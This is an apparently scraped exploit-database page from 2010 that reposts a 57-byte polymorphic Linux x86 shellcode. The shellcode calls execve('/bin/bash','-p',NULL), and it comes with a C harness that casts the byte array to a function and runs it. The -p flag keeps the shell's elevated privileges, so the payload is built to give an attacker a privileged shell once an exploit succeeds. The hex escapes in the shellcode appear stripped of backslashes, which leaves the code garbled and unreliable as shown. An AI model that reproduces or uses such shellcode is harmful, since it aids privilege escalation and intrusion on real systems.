Home / os / win7

linux/x86 polymorphic execve("/bin/bash","-p&

Posted on 05 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 polymorphic execve(&quot;/bin/bash&quot;,&quot;-p&quot;,NULL) - 57 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==============================================================
linux/x86 polymorphic execve(&quot;/bin/bash&quot;,&quot;-p&quot;,NULL) - 57 bytes
==============================================================

/*
 
Title:  Linux x86 - polymorphic execve(&quot;/bin/bash&quot;,&quot;-p&quot;,NULL) - 57 bytes
Author: Jonathan Salwan
Mail:   submit@shell-storm.org
Web:    http://www.shell-storm.org
 
!Database of Shellcodes http://www.shell-storm.org/shellcode/
 
 
sh sets (euid, egid) to (uid, gid) if -p not supplied and uid &lt; 100
Read more: http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49
 
Based in http://www.shell-storm.org/shellcode/files/shellcode-606.php
*/
 
#include &lt;stdio.h&gt;
 
char shellcode[] = &quot;xebx11x5ex31xc9xb1x21x80&quot;
           &quot;x6cx0exffx01x80xe9x01x75&quot;
           &quot;xf6xebx05xe8xeaxffxffxff&quot;
           &quot;x6bx0cx59x9ax53x67x69x2e&quot;
           &quot;x71x8axe2x53x6bx69x69x30&quot;
           &quot;x63x62x74x69x30x63x6ax6f&quot;
           &quot;x8axe4x53x52x54x32xcaxce&quot;
           &quot;x81&quot;;
 
int main(int argc, char *argv[])
{
        fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
    (*(void(*)()) shellcode)();      
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :